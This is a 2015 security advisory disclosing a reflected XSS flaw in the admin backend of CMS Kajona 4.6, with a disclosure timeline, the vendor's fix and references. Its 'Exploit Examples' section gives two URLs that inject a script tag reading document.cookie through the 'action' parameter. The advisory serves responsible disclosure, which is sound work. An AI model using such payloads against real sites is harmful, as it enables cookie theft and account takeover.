Advisory: Reflecting XSS vulnerability in CMS Kajona v. 4.6
Advisory ID: SROEADV-2015-01
Author: Steffen Rösemann
Affected Software: CMS Kajona v. 4.6
Vendor URL: https://www.kajona.de
Vendor Status: solved
CVE-ID: -

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Vulnerability Description:
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The CMS Kajona v. 4.6 is vulnerable to a reflecting XSS vulnerability in
its administrative backend.

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Technical Details:
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For an attacker it is possible to append arbitrary HTML and/or
JavaScript-Code to the parameter "action" in the admin.php.

Exploit Examples:

http://
{TARGET}/index.php?admin=1&module=right&action=change%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3C!--&changemodule=dashboard

http://
{TARGET}/index.php?admin=1&module=messaging&action=list%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3C!--

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Solution:
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Upgrade to the latest version.


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Disclosure Timeline:
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01-Jan-2015 – found the vulnerability
01-Jan-2015 - informed the developers
01-Jan-2015 – release date of this security advisory [without technical
details]
05-Jan-2015 - response and fix by vendor
05-Jan-2015 - release date of this security advisory
05-Jan-2015 - post on FullDisclosure


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Credits:
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Vulnerability found and advisory written by Steffen Rösemann.

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References:
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[1] http://sroesemann.blogspot.de
[2] https://www.kajona.de
[3]
https://www.kajona.de/de/News/newsdetails.Security-update-to-module-system.newsDetail.22ac42054aa88a07826c.html
[4]
https://github.com/kajona/kajonacms/commit/563d39c327606232e480602f7b36ea6cb31bc6f7